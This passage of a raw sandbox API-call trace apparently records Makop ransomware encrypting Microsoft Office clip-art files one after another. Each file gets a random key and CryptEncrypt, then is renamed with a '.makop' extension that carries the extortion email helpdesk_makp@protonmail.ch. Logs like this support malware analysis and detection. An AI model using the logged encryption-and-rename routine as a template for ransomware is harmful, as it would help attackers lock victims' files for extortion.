ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0119.056] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0119.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.057] GetProcessHeap () returned 0x48a0000 [0119.057] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.057] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.063] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.063] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.063] GetProcessHeap () returned 0x48a0000 [0119.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.063] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.063] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.063] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.064] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.064] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.064] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5c2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5c2c, lpOverlapped=0x0) returned 1 [0119.066] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c30, dwBufLen=0x5c30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c30) returned 1 [0119.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c30, lpOverlapped=0x0) returned 1 [0119.067] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.067] SetEndOfFile (hFile=0xf0) returned 1 [0119.075] GetProcessHeap () returned 0x48a0000 [0119.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.075] GetProcessHeap () returned 0x48a0000 [0119.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.075] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.077] CloseHandle (hObject=0xf0) returned 1 [0119.077] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0119.077] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0119.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.078] GetProcessHeap () returned 0x48a0000 [0119.078] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.078] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.083] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.083] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.083] GetProcessHeap () returned 0x48a0000 [0119.083] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.083] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.084] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.084] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.085] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.085] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.085] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1434, lpOverlapped=0x0) returned 1 [0119.086] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1440, dwBufLen=0x1440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1440) returned 1 [0119.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.087] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1440, lpOverlapped=0x0) returned 1 [0119.087] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.087] SetEndOfFile (hFile=0xf0) returned 1 [0119.094] GetProcessHeap () returned 0x48a0000 [0119.094] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.095] GetProcessHeap () returned 0x48a0000 [0119.095] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.095] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.096] CloseHandle (hObject=0xf0) returned 1 [0119.096] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0119.096] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0119.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.099] GetProcessHeap () returned 0x48a0000 [0119.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.099] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.099] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.099] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.099] GetProcessHeap () returned 0x48a0000 [0119.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.104] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.104] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.105] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.105] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1600, lpOverlapped=0x0) returned 1 [0119.106] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600, dwBufLen=0x1600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600) returned 1 [0119.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1600, lpOverlapped=0x0) returned 1 [0119.107] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.107] SetEndOfFile (hFile=0xf0) returned 1 [0119.114] GetProcessHeap () returned 0x48a0000 [0119.114] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.114] GetProcessHeap () returned 0x48a0000 [0119.114] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.114] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.116] CloseHandle (hObject=0xf0) returned 1 [0119.116] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0119.116] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0119.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.118] GetProcessHeap () returned 0x48a0000 [0119.118] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.118] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.119] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.123] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.123] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.123] GetProcessHeap () returned 0x48a0000 [0119.123] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.123] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.124] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.125] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.125] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd74, lpOverlapped=0x0) returned 1 [0119.125] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd80, dwBufLen=0xd80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd80) returned 1 [0119.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd80, lpOverlapped=0x0) returned 1 [0119.125] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.126] SetEndOfFile (hFile=0xf0) returned 1 [0119.133] GetProcessHeap () returned 0x48a0000 [0119.133] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.133] GetProcessHeap () returned 0x48a0000 [0119.133] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.133] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.135] CloseHandle 